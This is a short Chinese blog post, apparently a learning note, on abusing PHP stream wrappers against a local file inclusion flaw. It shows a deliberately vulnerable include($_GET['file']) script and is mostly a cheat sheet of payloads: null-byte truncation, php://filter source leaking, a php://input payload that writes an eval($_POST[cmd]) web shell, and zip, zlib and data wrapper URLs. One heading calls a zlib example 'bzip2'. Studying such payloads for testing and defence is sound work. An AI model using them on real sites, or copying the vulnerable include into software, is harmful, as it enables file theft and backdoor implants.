php伪协议

2018-12-25  本文已影响0人  唐小风7

test.php

<?php

include($_GET['file'])

?>

情况一:不需要截断:

test.php

情况二:需要截断:

<?php

include($_GET['file'].’.php’)

?>

php<=5.2
%00截断

【file://协议】

使用方法:

file:// [文件的绝对路径和文件名]

file://协议

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
base64read

php://input

php://input
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 
写shell

【zip://协议】

http://localhost/test.php?file=zip://D:/phpStudy/WWW/txf.zip%23txf.txt
zip

【bzip2://协议】

http://localhost/test.php?file=compress.zlib://./txf.txt
bzip2

【data://协议】

http://localhost/test.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://localhost/test.php?file=data:text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://协议 PHP封装协议
上一篇 下一篇

猜你喜欢

热点阅读